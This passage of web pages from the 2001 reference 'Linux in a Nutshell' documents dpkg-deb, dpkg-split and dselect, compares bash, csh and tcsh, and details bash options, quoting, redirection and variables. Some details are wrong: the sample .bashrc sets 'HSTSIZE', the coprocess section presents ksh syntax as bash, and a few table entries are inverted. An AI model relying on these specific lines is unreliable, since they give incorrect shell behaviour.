Change default directories. admindir contains administrative files with status and other information about packages; it defaults to /var/lib/dpkg. instdir is the directory in which packages are installed and defaults to /. Changing the root directory to dir automatically changes instdir to dir and admindir to /dir/var/lib/dpkg.

--smallmem

Specify that dpkg should try to preserve memory.

dpkg-deb

dpkg-deb action [options]

Backend command for building and managing Debian package archives. Also see dpkg; you'll often want to use dpkg to pass commands through to dpkg-deb, rather than call dpkg-deb directly.

Actions

-b dir [archive], --build dir [archive]

Create an archive from the filesystem tree starting with directory dir. The directory must have a DEBIAN subdirectory containing the control file and any other control information. If archive is specified and is a filename, the package is written to that file; if no archive is specified, the package is written to dir.deb. If the archive already exists, it is replaced. If archive is the name of a directory, the dpkg-deb looks in the control file for the information it needs to generate the package name. (Note that for this reason, you cannot use --no-check with a directory name.)

-c archive, --contents archive

List the filesystem-tree portion of archive.

-e, --control archive dir

Extract control information from archive into the directory dir, which is created if it doesn't exist.

-f archive [control-fields], --field archive [control-fields]

Extract information about one or more fields in the control file for archive. If no fields are provided, print the entire control file.

-h, --help

Print help information and exit.

-I archive [control-files], --info archive [control-files]

Provide information about binary package archive. If no control files are provided, print a summary of the package contents; otherwise, print the control files in the order they were specified. An error message is printed to standard error for any missing components.

--fsys-tarfile archive

Extract the filesystem tree from archive, and send it to standard output in tar format. Can be used with tar to extract individual files from an archive.

--license

Print the license information and exit. Accepts the spelling --licence in addition to --license.

--version

Print the version number and exit.

-x archive dir, --extract archive dir
-X archive dir, --vextract archive dir

Extract the filesystem tree from archive into the specified directory, creating dir if it doesn't already exist. -x (--extract) works silently, while -X (--vextract) lists the files as it extracts them. Do not use this option to install packages; use dpkg instead.

Options

-D

Turn on debugging.

--new

Build a new-style archive format (this is the default).

--no-check

Don't check the control file before building an archive. This lets you build a broken archive.

--old

Build an old-style archive format.

dpkg-split

dpkg-split [action] [options]

Split a binary package into smaller pieces and reassemble the pieces, manually or in automatic mode. The automatic mode maintains a queue of parts for reassembling. Useful for transferring to and from floppy disks.

Actions

-a -o output part, --auto -o output part

Add part to the queue for automatic reassembly and if all the parts are available, reassemble the package as output.

-d [packages], --discard [packages]

Discard parts from the automatic-assembly queue. If any packages are specified, discard only parts from those packages. Otherwise, empty the queue.

-I parts, --info parts

Print information about the part file or files specified.

-j parts, --join parts

Join the parts of a package file together from the parts specified. The default output file is package-version.deb.

-l, --listq

List the contents of the queue of parts waiting for reassembly, giving the package name, the parts that are on the queue, and the number of bytes.

-s full-package [prefix], --full-package [prefix]

Split the package full-package into parts, named prefixNofM.deb. The prefix defaults to the full-package name without the .deb extension.

-h, --help

Print help message and exit.

--license

Print the license information and exit. Accepts the spelling --licence in addition to --license.

--version

Print the version information and exit.

Options

--depotdir

Specify an alternate directory depotdir for the queue of parts waiting for reassembly. Default is /var/lib/dpkg.

--msdos

Force --split output filenames to be MS-DOS-compatible.

-Q, --npquiet

Do not print an error message for a part that doesn't belong to a binary package when doing automatic queuing or reassembly.

-o output, --output output

Use output as the filename for a reassembled package.

-S num, --partsize num

When splitting, specify the maximum part size (num) in kilobytes. Default is 450 KB.

dselect

dselect [options] [action]

A screen-oriented user frontend to dpkg. The primary user interface for installing and managing packages. See dpkg and dpkg-deb for information on building packages.

Actions

If dselect is run with no action specified on the command line, it displays the following menu:

* 0. [A]ccess      Choose the access method to use.
  1. [U]pdate      Update list of available packages, if possible.
  2. [S]elect      Request which packages you want on your system.
  3. [I]nstall     Install and upgrade wanted packages.
  4. [C]onfig      Configure any packages that are unconfigured.
  5. [R]emove      Remove unwanted software.
  6. [Q]uit        Quit dselect.
The asterisk (on the first line here) shows the currently selected option. Any of the menu items can be specified directly on the command line as an action (access, update, select, install, config, remove, quit) to go directly to the desired activity. For example:
% dselect access

If you enter quit on the command line, dselect exits immediately without doing anything. An additional command-line action is menu, which displays the menu and is equivalent to omitting the action.

Options

--admindir dir

Change the directory that holds internal data files to dir. Default is /var/lib/dpkg.

-D [file], --debug [file]

Turn on debugging. Send output to file if specified.

--help

Print help message and exit.

--license

Print the license information and exit. Accepts the spelling --licence in addition to --license.

--version

Print version information and exit.

Previous | Home | Next
5. Red Hat and Debian Package Managers | Book Index | 6. The Linux Shells: An Overview
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Linux Shells: An Overview (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

Chapter 6. The Linux Shells: An Overview

Contents:

Purpose of the Shell
Shell Flavors
Common Features
Differing Features

The shell is a program that acts as a buffer between you and the operating system. In its role as a command interpreter, it should (for the most part) act invisibly. It also can be used for simple programming.

This section introduces three shells commonly used on Linux systems -- the Bourne-Again shell (bash), the C shell (csh), and csh's enhanced version, tcsh -- and summarizes the major differences between them. Details on them are provided in Chapter 7, "bash: The Bourne-Again Shell", and Chapter 8, "csh and tcsh". (Some Linux distributions also offer the Korn shell, ksh, another popular version of the Bourne shell with some of the same features as bash.)

The following topics are presented in this chapter:

  • Purpose of the shell

  • Shell flavors

  • Common features

  • Differing features

6.1. Purpose of the Shell

There are three main uses for the shell:

  • Interactive use

  • Customization of your Linux session

  • Programming

6.1.1. Interactive Use

When the shell is used interactively, it waits for you to issue commands, processes them (to interpret special characters, such as wildcards), and executes them. Shells also provide a set of commands, known as built-ins, to supplement Linux commands.

6.1.2. Customization of Your Linux Session

A Linux shell defines variables, such as the locations of your home directory and mail spool, to control the behavior of your session. Some variables are preset by the system; you can define others in startup files that your shell reads when you log in. Startup files also can contain Linux or shell commands, for execution immediately after login.

6.1.3. Programming

A series of individual commands (be they shell or other Linux commands available on the system) combined into one executable file is called a shell script. Batch files in MS-DOS are a similar concept. bash is considered a powerful programming shell, while scripting in csh is rumored to be hazardous to your health.

Previous | Home | Next
5.2. The Debian Package Manager | Book Index | 6.2. Shell Flavors
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Shell Flavors (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

6.2. Shell Flavors

Many different Linux shells are available. This book describes the three most popular shells:

  • The Bourne-Again shell (bash), which is based on the Bourne shell (sh) and is standard for Linux

  • The C shell (csh), which uses C syntax and has many conveniences

  • tcsh, an extension of csh that appears instead of csh in many Linux distributions

Most systems have more than one shell, and people will often use one shell for writing shell scripts and another for interactive use.

When you log in, the system determines which shell to run by consulting your entry in /etc/passwd. The last field of each entry calls a program to run as the default shell. For example:

Program Name | Shell
/bin/sh | Bourne-Again shell
/bin/bash | Bourne-Again shell
/bin/csh | C shell (or tcsh)
/bin/tcsh | tcsh

You can change to another shell by typing the program name at the command line. For example, to change from bash to tcsh, type:

$ exec tcsh
Previous | Home | Next
6. The Linux Shells: An Overview | Book Index | 6.3. Common Features
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Common Features (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

6.3. Common Features

The following table is a sampling of features that are common to bash, csh, and tcsh. Note that tcsh is an enhanced version of csh; therefore, tcsh includes all features of csh, plus some others.

Symbol/Command | Meaning/Action
> | Redirect output.
>> | Append output to file.
< | Redirect input.
<< | ``Here'' document (redirect input).
| | Pipe output.
& | Run process in background.
; | Separate commands on same line.
* | Match any character(s) in filename.
? | Match single character in filename.
!n | Repeat command number n.
[ ] | Match any characters enclosed.
( ) | Execute in subshell.
` ` | Substitute output of enclosed command.
" " | Partial quote (allows variable and command expansion).
\ | Quote following character.
$var | Use value for variable.
$$ | Process ID.
$0 | Command name.
$n | nth argument (0<n [image] 9).
$* | All arguments.
# | Begin comment.
bg | Background execution.
break | Break from loop statements.
cd | Change directories.
continue | Resume a program loop.
echo | Display output.
eval | Evaluate arguments.
exec | Execute a new shell or other program.
fg | Foreground execution.
jobs | Show active jobs.
kill | Terminate running jobs.
newgrp | Change to a new group.
shift | Shift positional parameters.
stop | Suspend a background job.
suspend | Suspend a foreground job.
umask | Set or list permissions on files to be created.
unset | Erase variable or function definitions.
wait | Wait for a background job to finish.
Previous | Home | Next
6.2. Shell Flavors | Book Index | 6.4. Differing Features
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Differing Features (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

6.4. Differing Features

The following table is a sampling of features that are different among the three shells:

Meaning/Action | bash | csh | tcsh
Default prompt. | $ | % | %
Force redirection. | >| | >! | >!
Force append. |  | >>! | >>!
Variable assignment. | var=val | set var=val | set var=val
Set environment variable. | export var=val | setenv var val | setenv var val
Number of arguments. | $# | $#argv | $#argv
Exit status. | $? | $status | $?
Execute commands in file. | . file | source file | source file
End a loop statement. | done | end | end
End case or switch. | esac | endsw | endsw
Loop through variables. | for/do | foreach | foreach
Sample if statement. | if [ $i -eq 5 ] | if ($i==5) | if ($i==5)
End if statement. | fi | endif | endif
Set resource limits. | ulimit | limit | limit
Read from terminal. | read | $< | $<
Make a variable read-only. | readonly |  | set -r
File inquiry operator; tests for nonzero size. |  | -s |
Complete current word. | Tab |  | Tab
Ignore interrupts. | trap 2 | onintr | onintr
Begin until loop. | until/do | until | until
Begin while loop. | while/do | while | while

Previous | Home | Next
6.3. Common Features | Book Index | 7. bash: The Bourne-Again Shell
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


bash: The Bourne-Again Shell (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

Chapter 7. bash: The Bourne-Again Shell

Contents:

Overview of Features
Invoking the Shell
Syntax
Variables
Arithmetic Expressions
Command History
Built-in Commands
Job Control

This chapter presents the following topics:

  • Overview of features

  • Invoking the shell

  • Syntax

  • Variables

  • Arithmetic expressions

  • Command history

  • Built-in commands

  • Job control

7.1. Overview of Features

bash is the GNU version of the standard Bourne shell -- the original Unix shell -- and incorporates many popular features from other shells such as csh, tcsh, and the Korn shell (ksh). Both tcsh, which is described in the following chapter, and ksh, which offers many of the features in this chapter, also are available on most distributions of Linux. But bash is the standard Linux shell, loaded by default when most user accounts are created.

If executed as part of the user's login, bash starts by executing any commands found in /etc/profile. Then it executes the commands found in ~/.bash_profile, ~/.bash_login, or ~/.profile (searching for each file only if the previous file is not found). Many distributions change shell defaults in /etc/profile for all users, even changing the behavior of common commands like ls.

In addition, every time it starts (as a subshell or a login shell), bash looks for a file named ~/.bashrc. Many system administration utilities create a small ~/.bashrc automatically, and many users create quite large startup files. Any commands that can be executed from the shell can be included. A small sample file may look like this; each feature can be found either in this chapter or in Chapter 3, "Linux Commands":

# Set bash variable to keep 50 commands in history.
HSTSIZE=50
#
# Set prompt to show current working directory and history number of command.
PS1='\w: Command \!$ '
#
# Set path to search for commands in my personal directories, then standard ones.
PATH=~/bin:~/scripts:$PATH
#
# Keep group and others from writing my newly created files.
umask 022
#
# Show color-coded file types.
alias ls='ls --color=yes'
#
# Make executable and .o files ugly yellow so I can find and delete them.
export LS_COLORS="ex=43:*.o=43"
#
# Quick and dirty test of a single-file program.
function gtst () {
    g++ -o $1 $1.C && ./$1
}
#
# Remove .o files.
alias clean='find ~ -name \*.o -exec rm {} \;'

bash provides the following features:

  • Input/output redirection

  • Wildcard characters (metacharacters) for filename abbreviation

  • Shell variables for customizing your environment

  • Powerful programming capabilities

  • Command-line editing (using vi- or Emacs-style editing commands)

  • Access to previous commands (command history)

  • Integer arithmetic

  • Arithmetic expressions

  • Command name abbreviation (aliasing)

  • Job control

  • Integrated programming features

  • Control structures

  • Directory stacking (using pushd and popd)

  • Brace/tilde expansion

  • Key bindings

Previous | Home | Next
6.4. Differing Features | Book Index | 7.2. Invoking the Shell
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Invoking the Shell (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

7.2. Invoking the Shell

The command interpreter for bash can be invoked as follows:

bash  [options]  [arguments]

bash can execute commands from a terminal (when -i is specified), from a file (when the first argument is an executable script), or from standard input (if no arguments remain or if -s is specified).

7.2.1. Options

Options that appear here with double hyphens also work when entered with single hyphens, but the double-hyphen versions are recommended because they are standard.

-, --

Treat all subsequent strings as arguments, not options.

--dump-po-strings

Same as --dump-strings but uses a special "portable object" format suitable for scripting.

--dump-strings

For execution in non-English locales, dump all strings that bash translates.

-c str

Read commands from string str.

-i

Create an interactive shell (prompt for input).

--help

Print information about which version of bash is installed, plus a list of options.

--login

Behave like a login shell; try to process /etc/profile on startup. Then process ~/.bash_profile, ~/.bash_login, or ~/.profile (searching for each file only if the previous file is not found).

--nobraceexpansion

Disable brace expansion.

--noediting

Disable line editing with arrow and control keys.

--noprofile

Do not process /etc/profile, ~/.bash_profile, ~/.bash_login, or ~/.profile on startup.

--norc

Do not process ~/.bashrc on startup.

-p

Start up as a privileged user; don't process $HOME/.profile.

--posix

Conform to POSIX standard.

-r

Restrict users to a very secure, limited environment; for instance, they cannot change out of the startup directory or use the > sign to redirect output.

--rcfile file

Substitute file for .bashrc on startup.

--restricted

Same as -r.

-s

Read commands from standard input; output from built-in commands goes to file descriptor 1; all other shell output goes to file descriptor 2.

-v

Print each line as it is executed (useful for tracing scripts).

--verbose

Same as -v.

--version

Print information about which version of bash is installed.

-x

Turn on debugging, as described under the -x option to the set built-in command.

-D

For execution in non-English locales, dump all strings that bash translates.

The remaining options to bash are listed under the set built-in command.

7.2.2. Arguments

Arguments are assigned, in order, to the positional parameters $1, $2, and so forth. If the first argument is an executable script, commands are read from it and remaining arguments are assigned to $1, $2, and so on.

Previous | Home | Next
7. bash: The Bourne-Again Shell | Book Index | 7.3. Syntax
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Syntax (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

7.3. Syntax

This subsection describes the many symbols peculiar to bash. The topics are arranged as follows:

  • Special files

  • Filename metacharacters

  • Command-line editing

  • Quoting

  • Command forms

  • Redirection forms

  • Coprocesses

7.3.1. Special Files

File | Purpose
/etc/profile | Executed automatically at login
$HOME/.bash_profile | Executed automatically at login
$HOME/.bashrc | Executed automatically at shell startup
$HOME/.bash_logout | Executed automatically at logout
$HOME/.bash_history | Record of last session's commands
/etc/passwd | Source of home directories for ~name abbreviations

7.3.2. Filename Metacharacters

Characters | Meaning
* | Match any string of zero or more characters.
? | Match any single character.
[abc...] | Match any one of the enclosed characters; a hyphen can be used to specify a range (e.g., a-z, A-Z, 0-9).
[!abc...] | Match any character not among the enclosed characters.
{str1,...} | Brace expansion: match any of the enclosed strings.
~name | HOME directory of user name.
~+ | Current working directory (PWD).
~- | Previous working directory from directory stack (OLDPWD, see also the pushd built-in command).
~+n | The nth entry in the directory stack, counting from the start of the list with the first entry being 0.
~-n | The nth entry in the directory stack, counting from the end of the list with the last entry being 0.

Patterns can be a sequence of patterns separated by |; if any of the subpatterns match, the entire sequence is considered matching. This extended syntax resembles that available to egrep and awk.

7.3.2.1. Examples

$ ls new*          List new and new.1
$ cat ch?          Match ch9 but not ch10
$ vi [D-R]*        Match files that begin with uppercase D through R

7.3.3. Command-line Editing

Command lines can be edited like lines in either Emacs or vi. Emacs is the default. See Section 7.6.1, "Line-Edit Mode" later in this chapter for more information.

vi mode has two submodes, insert mode and command mode. The default mode is insert; you can go to command mode by pressing Esc. In command mode, typing a (append) or i (insert) will return you to insert mode.

Some users discover that the Del or Backspace key on the terminal does not delete the character before the cursor, as it should. Sometimes the problem can be solved by issuing one of the following commands (or placing it in your .bashrc file):

stty erase ^?
stty erase ^H

See the stty command in Chapter 3, "Linux Commands" for more information. On the X Window System, an alternative solution is to use the xmodmap command, but this cannot be described easily here because it requires you to do some research about your terminal.

Table 7-1 through Table 7-14 show various Emacs and vi commands.

Table 7-1. Basic Emacs-Mode Commands

Command | Description
Ctrl-B | Move backward one character (without deleting).
Ctrl-F | Move forward one character.
Del | Delete one character backward.
Ctrl-D | Delete one character forward.

Table 7-2. Emacs-Mode Word Commands

Command | Description
Esc b | Move one word backward.
Esc f | Move one word forward.
Esc Del | Kill one word backward.
Esc d | Kill one word forward.
Ctrl-Y | Retrieve (yank) last item killed.

Table 7-3. Emacs-Mode Line Commands

Command | Description
Ctrl-A | Move to beginning of line.
Ctrl-E | Move to end of line.
Ctrl-K | Kill forward to end of line.

Table 7-4. Emacs-Mode Commands for Moving Through the History File

Command | Description
Ctrl-P | Move to previous line.
Ctrl-N | Move to next line.
Ctrl-R | Search backward.
Esc < | Move to first line of history file.
Esc > | Move to last line of history file.

Table 7-5. Completion Commands

Command | Description
Tab | Attempt to perform general completion of the text.
Esc ? | List the possible completions.
Esc / | Attempt filename completion.
Ctrl-X / | List the possible filename completions.
Esc ~ | Attempt username completion.
Ctrl-X ~ | List the possible username completions.
Esc $ | Attempt variable completion.
Ctrl-X $ | List the possible variable completions.
Esc @ | Attempt hostname completion.
Ctrl-X @ | List the possible hostname completions.
Esc ! | Attempt command completion.
Ctrl-X ! | List the possible command completions.
Esc Tab | Attempt completion from previous commands in the history list.

Table 7-6. Emacs-Mode Miscellaneous Commands

Command | Description
Ctrl-J | Same as Return.
Ctrl-L | Clear the screen, placing the current line at the top of the screen.
Ctrl-M | Same as Return.
Ctrl-O | Same as Return, then display next line in command history.
Ctrl-T | Transpose character left of and under the cursor.
Ctrl-U | Kill the line from the beginning to point.
Ctrl-V | Insert keypress instead of interpreting it as a command.
Ctrl-[ | Same as Esc (most keyboards).
Esc c | Capitalize word under or after cursor.
Esc u | Change word under or after cursor to all capital letters.
Esc l | Change word under or after cursor to all lowercase letters.
Esc . | Insert last word in previous command line after point.
Esc _ | Same as Esc.

Table 7-7. Editing Commands in vi Input Mode

Command | Description
Del | Delete previous character.
Ctrl-W | Erase previous word (i.e., erase until a blank).
Ctrl-V | Insert keypress instead of interpreting it as a command.
Esc | Enter control mode (see Table 7-8).

Table 7-8. Basic vi Control Mode Commands

Command | Description
h | Move left one character.
l | Move right one character.
b | Move left one word.
w | Move right one word.
B | Move to beginning of preceding nonblank word.
W | Move to beginning of next nonblank word.
e | Move to end of current word.
E | Move to end of current nonblank word.
0 | Move to beginning of line.
^ | Move to first nonblank character in line.
$ | Move to end of line.

Table 7-9. Commands for Entering vi Input Mode

Command | Description
i | Insert text before current character (insert).
a | Insert text after current character (append).
I | Insert text at beginning of line.
A | Insert text at end of line.
r | Replace current character with this text.
R | Overwrite existing text.

Table 7-10. Some vi-Mode Deletion Commands

Command | Description
dh | Delete one character backward.
dl | Delete one character forward.
db | Delete one word backward.
dw | Delete one word forward.
dB | Delete one nonblank word backward.
dW | Delete one nonblank word forward.
d$ | Delete to end-of-line.
d0 | Delete to beginning of line.

Table 7-11. Abbreviations for vi-Mode Delete Commands

Command | Description
D | Delete to end of line (equivalent to d$).
dd | Delete entire line (equivalent to 0d$).
C | Delete to end of line; enter input mode (equivalent to c$).
cc | Delete entire line; enter input mode (equivalent to 0c$).
X | Delete character backward (equivalent to dl).
x | Delete character forward (equivalent to dh).

Table 7-12. vi Control Mode Commands for Searching the Command History

Command | Description
k or - | Move backward one line.
j or + | Move forward one line.
G | Move to line given by repeat count.
/string | Search backward for string.
?string | Search forward for string.
n | Repeat search in same direction as previous.
N | Repeat search in opposite direction of previous.

Table 7-13. vi-Mode Character-Finding Commands

Command | Description
f x | Move right to next occurrence of x.
F x | Move left to previous occurrence of x.
t x | Move right to next occurrence of x, then back one space.
T x | Move left to previous occurrence of x, then forward one space.
; | Redo last character-finding command.
, | Redo last character-finding command in opposite direction.

Table 7-14. Miscellaneous vi-Mode Commands

Command | Description
~ | Invert (toggle) case of current character(s).
- | Append last word of previous command; enter input mode.
Ctrl-L | Clear the screen and redraw the current line on it; good for when your screen becomes garbled.
# | Prepend # (comment character) to the line and send it to the history file; useful for saving a command to be executed later, without having to retype it.

7.3.4. Quoting

Quoting disables a character's special meaning and allows it to be used literally, as itself. The following characters have special meaning to bash:

Character | Meaning
; | Command separator
& | Background execution
( ) | Command grouping (enter a subshell)
{ } | Command block
| | Pipe
> < & | Redirection symbols
* ? [ ] ~ ! | Filename metacharacters
" ' \ | Used in quoting other characters
` | Command substitution
$ | Variable substitution (or command substitution)
newline space tab | Word separators
# | Comment

The following characters can be used for quoting:

Character Action
" "

Everything between " and " is taken literally, except for the following characters that keep their special meaning:

$

Variable substitution will occur.

`

Command substitution will occur.

"

This marks the end of the double quote.
' '

Everything between ' and ' is taken literally, except for another '.
\

The character following a \ is taken literally. Use within " " to escape ", $, and `. Often used to escape itself, spaces, or newlines.

7.3.4.1. Examples

$ echo 'Single quotes "protect" double quotes'
Single quotes "protect" double quotes

$ echo "Well, isn't that \"special\"?"
Well, isn't that "special"?

$ echo "You have `ls|wc -l` files in `pwd`"
You have  43 files in /home/bob

$ echo "The value of \$x is $x"
The value of $x is 100

7.3.5. Command Forms

Syntax | Effect
cmd & | Execute cmd in background.
cmd1 ; cmd2 | Command sequence; execute multiple cmds on the same line.
(cmd1 ; cmd2) | Subshell; treat cmd1 and cmd2 as a command group.
cmd1 | cmd2 | Pipe; use output from cmd1 as input to cmd2.
cmd1 `cmd2` | Command substitution; use cmd2 output as arguments to cmd1.
cmd1 $(cmd2) | Command substitution; nesting is allowed.
cmd1 && cmd2 | AND; execute cmd2 only if cmd1 succeeds.
cmd1 || cmd2 | OR; execute cmd2 only if cmd1 fails.
{ cmd1 ; cmd2 } | Execute commands in the current shell.

7.3.5.1. Examples

$ nroff file &                         Format in the background
$ cd; ls                               Execute sequentially
$ (date; who; pwd) > logfile           All output is redirected
$ sort file | pr -3 | lp               Sort file, page output, then print
$ vi `grep -l ifdef *.c`               Edit files found by grep
$ egrep '(yes|no)' `cat list`          Specify a list of files to search
$ egrep '(yes|no)' $(cat list)         Same as previous using bash command substitution
$ egrep '(yes|no)' $(<list)            Same, but faster
$ grep XX file && lp file              Print file if it contains the pattern
$ grep XX file || echo "XX not found"  Echo an error message if the pattern is not found

7.3.6. Redirection Forms

File Descriptor | Name | Common Abbreviation | Typical Default
0 | Standard input | stdin | Keyboard
1 | Standard output | stdout | Screen
2 | Standard error | stderr | Screen

The usual input source or output destination can be changed as shown in Table 7-15.

Table 7-15. I/O Redirectors

Redirector | Function
> file | Direct standard output to file.
< file | Take standard input from file.
cmd1 | cmd2 | Pipe; take standard output of cmd1 as standard input to cmd2.
>> file | Direct standard output to file; append to file if it already exists.
>| file | Force standard output to file even if noclobber is set.
n>| file | Force output from the file descriptor n to file even if noclobber is set.
<> file | Use file as both standard input and standard output.
<< text | Read standard input up to a line identical to text (text can be stored in a shell variable). Input is usually typed on the screen or in the shell program. Commands that typically use this syntax include cat, echo, ex, and sed. If text is enclosed in quotes, standard input will not undergo variable substitution, command substitution, etc.
n> file | Direct file descriptor n to file.
n< file | Set file as file descriptor n.
>&n | Duplicate standard output to file descriptor n.
<&n | Duplicate standard input from file descriptor n.
&>file | Direct standard output and standard error to file.
<&- | Close the standard input.
>&- | Close the standard output.
n>&- | Close the output from file descriptor n.
n<&- | Close the input from file descriptor n.

7.3.6.1. Examples

$ cat part1 > book
$ cat part2 part3 >> book
$ mail tim < report
$ grep Chapter part* 2> error_file

$ sed 's/^/XX /' << END_ARCHIVE
> This is often how a shell archive is "wrapped",
> bundling text for distribution. You would normally
> run sed from a shell program, not from the command line.
> END_ARCHIVE
XX This is often how a shell archive is "wrapped",
XX bundling text for distribution. You would normally
XX run sed from a shell program, not from the command line.

To redirect standard output to standard error:

$ echo "Usage error:  see administrator" 1>&2

The following command sends output (files found) to filelist and sends error messages (inaccessible files) to file no_access:

$ find / -print > filelist 2>no_access

7.3.7. Coprocesses

Coprocesses are a feature of bash and do not appear in other shells.

Syntax | Effect
cmd1 | cmd2 |& | Coprocess; execute the pipeline in the background. The shell sets up a two-way pipe, allowing redirection of both standard input and standard output.
read -p var | Read coprocess input into variable var.
print -p string | Write string to the coprocess.
cmd <&p | Take input for cmd from the coprocess.
cmd >&p | Send output of cmd to the coprocess.

7.3.7.1. Examples

cat memo                     Print contents of file
Sufficient unto the day is
A word to the wise.
ed - memo |&                 Start coprocess
print -p /word/              Send ed command to coprocess
read -p search               Read output of ed command into variable search
print "$search"              Show the line on standard output
A word to the wise.
Previous | Home | Next
7.2. Invoking the Shell | Book Index | 7.4. Variables
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Variables (Linux in a Nutshell, 3rd Edition)

 Book Home Linux in a NutshellSearch this book

7.4. Variables

Variables are prefaced by a dollar sign ($) and optionally enclosed in braces ({}). You can assign a value to a variable through an equals sign (=); no whitespace can appear on either side of the equals sign:

$ TMP=temp.file
By default, variables are seen only within the shell itself; to pass variables to other programs invoked within the shell, see the export built-in command.

If subscripted by brackets ([]), the variable is considered an array variable. For instance:

$ DIR_LIST[0]=src
$ DIR_LIST[1]=headers
$ ls ${DIR_LIST[1]}
The contents of headers are listed. Many substitutions and commands in this chapter handle arrays by operating on each element separately.

This subsection describes:

  • Variable substitution

  • Built-in shell variables

7.4.1. Variable Substitution

In the following substitutions, braces ({ }) are optional, except when needed to separate a variable name from following characters that would otherwise be considered part of the name.

Variable | Meaning
${var} | The value of variable var.
$0 | Name of the program.
${n} | Individual arguments on command line (positional parameters); 1 [image] n [image] 9.
$# | Number of arguments on command line.
$* | All arguments on command line.
$@ | Same as $* but contents are split into words when the variable is enclosed in double quotes.
$$ | Process number of current shell; useful as part of a filename for creating temporary files with unique names.
$? | Exit status of last command (normally 0 for success).
$! | Process number of most recently issued background command.
$- | Current execution options (see the set built-in command). By default, hB for scripts and himBH for interactive shells.
$_ | Initially set to name of file invoked for this shell, then set for each command to the last word of the previous command.

Table 7-16 through Table 7-18 show various types of operators that can be used with bash variables.

Table 7-16. Substitution Operators

Operator | Substitution
${varname:-word} | If varname exists and isn't null, return its value; otherwise, return word.
Purpose: | Returning a default value if the variable is undefined.
Example: | ${count:-0} evaluates to 0 if count is undefined.
${varname:=word} | If varname exists and isn't null, return its value; otherwise set it to word and then return its value. Positional and special parameters cannot be assigned this way.
Purpose: | Setting a variable to a default value if it is undefined.
Example: | ${count:=0} sets count to 0 if it is undefined.
${varname:?message} | If varname exists and isn't null, return its value; otherwise, print varname: followed by message, and abort the current command or script (noninteractive shells only). Omitting message produces the default message "parameter null or not set."
Purpose: | Catching errors that result from variables being undefined.
Example: | {count:?"undefined!"} prints ``count: undefined!'' and exits if count is undefined.
${varname:+word} | If varname exists and isn't null, return word; otherwise, return null.
Purpose: | Testing for the existence of a variable.
Example: | ${count:+1} returns 1 (which could mean true) if count is defined.
${#varname} | Return the number of characters in varname.
Purpose: | Preparing for substitution or extraction of substrings.
Example: | If ${USER} currently expands to root, ${#USER} expands to 4.

Table 7-17. Pattern-Matching Operators

Operator | Meaning
${variable#pattern} | If the pattern matches the beginning of the variable's value, delete the shortest part that matches and return the rest.
${variable##pattern} | If the pattern matches the beginning of the variable's value, delete the longest part that matches and return the rest.
${variable%pattern} | If the pattern matches the end of the variable's value, delete the shortest part that matches and return the rest.
${variable%%pattern} | If the pattern matches the end of the variable's value, delete the longest part that matches and return the rest.
${var/pat/sub} | Return var with the first occurrence of pat replaced by sub. Can be applied to $* or $@, in which case each word is treated separately. If pat starts with # it can match only the start of var; if pat ends with % it can match only the end of var.
${var//pat/sub} | Return var with the every occurrence of pat replaced by sub.
${variable:n} | Truncate the beginning of the variable and return the part starting with character number n, where the first character is 0.
${variable:n:l} | Starting with character number n, where the first character is 0, return a substring of length l from the variable.

Table 7-18. Expression Evaluation

Operator | Meaning
$((arithmetic-expression)) | Return the result of the expression. Arithmetic operators are described under "Arithmetic Expressions."
Example: | TODAY='date +%-d' ; echo $(($TODAY+7)) stores the number of the current day in $TODAY and then prints that number plus 7 (the number of the same day next week).
[[$condition]] | Return 1 if condition is true and 0 if it is false. Conditions are described under the test built-in command.

7.4.2. Built-in Shell Variables

Built-in variables are set automatically by the shell and typically are used inside shell scripts. Built-in variables can make use of the variable substitution patterns already shown earlier. When setting variables, you do not include dollar signs, but when referencing their values later, the dollar signs are necessary.

Tables Table 7-19 through Table 7-22 show the commonly used built-in variables in bash.

Table 7-19. Behavior-Altering Variables

Variable | Meaning
auto_resume | Allows a background job to be brought to the foreground simply by entering a substring of the job's command line; values can be substring (resume if the user's string matches part of the command); exact (string must exactly match command); or another value (string must match at beginning of command).
BASH_ENV | Startup file of commands to execute, if bash is invoked to run a script.
CDPATH | Colon-separated list of directories to search for the directory passed in a cd command.
EDITOR | Pathname of your preferred text editor.
IFS | Word separator; used by shell to parse commands into their elements.
IGNOREEOF | If nonzero, don't allow use of a single Ctrl-D (the end-of-file or EOF character) to log off; use the exit command to log off.
PATH | Colon-separated list of directories to search for each command.
PROMPT_COMMAND | Command that bash executes before issuing a prompt for a new command.
PS1 | Prompt displayed before each new command; see the later section Section 7.6.4, "Variables in Prompt" for ways to introduce dynamically changing information such as the current working directory or command history number into the prompt.
PS2 | Prompt displayed before a new line if a command is not finished.
PS3 | Prompt displayed by select built-in command.
PS4 | Prompt displayed by -x debugging (see Section 7.2, "Invoking the Shell"). and the set built-in command).

Table 7-20. History Variables

Variable | Meaning
FCEDIT | Pathname of editor to use with the fc command.
HISTCMD | The history number of the current command.
HISTCONTROL | If HISTCONTROL is set to the value of ignorespace, lines beginning with a space are not entered into the history list. If set to ignoredups, lines matching the last history line are not entered. Setting it to ignoreboth enables both options.
HISTFILE | Name of history file, on which the editing modes operate.
HISTFILESIZE | The maximum number of lines to store in the history file. The default is 500.
HISTSIZE | The maximum number of commands to remember in the command history. The default is 500.

Table 7-21. Mail Variables

Variable | Meaning
MAIL | Name of file to check for incoming mail.
MAILCHECK | How often, in seconds, to check for new mail (default is 60 seconds).
MAILPATH | List of filenames, separated by colons (:), to check for incoming mail.

Table 7-22. Status Variables

Variable | Meaning
BASH | Pathname of this instance of the shell you are running.
BASH_VERSION | The version number of the shell you are running.
COLUMNS | The number of columns your display has.
